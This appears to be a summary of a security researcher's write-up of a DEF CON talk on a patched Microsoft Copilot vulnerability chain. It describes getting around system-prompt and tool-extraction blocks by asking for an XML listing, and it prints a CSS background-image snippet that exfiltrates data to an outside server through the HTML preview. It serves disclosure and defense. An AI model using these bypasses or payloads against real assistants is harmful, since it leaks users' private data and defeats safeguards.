Copirate 365 at DEF CON: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299) · Embrace The Red

What it is

Johann Rehberger's writeup of his DEF CON Singapore talk on a vulnerability chain in M365 Copilot (enterprise BizChat and Office variants) and consumer Copilot, disclosed to Microsoft in 2023/2024, assigned CVE-2026-24299, now patched. The fetched excerpt covers the first portions: system-prompt/tool extraction and the HTML-preview exfiltration channel.

How it works

Two concrete techniques the summary does not spell out:

Tool/prompt extraction bypass — Direct requests to list tools or print the system prompt are now blocked (an older trick of asking Copilot to answer in German also stopped working). The working bypass: ask Copilot to create an XML document with the tool names as XML elements. This revealed renamed tools (enterprise_search_* is now office365_*) plus record_memory and canmore_create_textdoc. Probing canmore surfaced an undocumented inline HTML rendering feature (renders HTML in-chat, independent of the tool).

HTML-preview exfiltration — Two initial obstacles: <img> tags are sanitized, and the default pane is Code not Preview (user must manually flip to Preview). The <img> sanitization is bypassed with CSS, which also fetches external resources:

<style>
  body {
    background-image: url('https://wuzzi.net/h.png');
  }
</style>

Switching to Preview triggers the browser to fetch the background image, exfiltrating data to an attacker server.

Preconditions / Affected

• M365 Copilot already holds two legs of the "lethal trifecta" by default (private data + untrusted content via emails/shared docs/SharePoint); the HTML preview supplies the third (external communication).
• Exfiltration via the CSS vector requires the user to switch from Code to Preview.
• CSP for img-src exists but is described as overly permissive, and — critically — varies across hosting environments (BizChat vs SharePoint Online vs Excel Online), so it is not a reliable boundary. azureedge.net subdomains were flagged as notable in the allowlist.

What to do

The specific issues are patched by Microsoft — no action on the CVE itself. The transferable lessons for anyone building LLM apps:

• Don't rely on CSP as a security boundary when it differs per hosting surface.
• Prompt/tool extraction defenses are bypassable via format-shifting (XML, foreign language) — treat them as speed bumps, not controls.
• The author's stance: indirect prompt injection has no deterministic fix; mitigate by constraining what actions/impact the agent can have ("Trust No AI"), focusing on the external communication channel as the only realistically enforceable leg.

Caveats

The excerpt cuts off mid-sentence on the CSP/azureedge.net analysis; Delayed Tool Invocation, the memory-hijack backdoor, and the consumer-Copilot detour (in the summary) are not detailed in the fetched text. The CSS bypass has a usability limitation — it depends on the victim manually enabling Preview.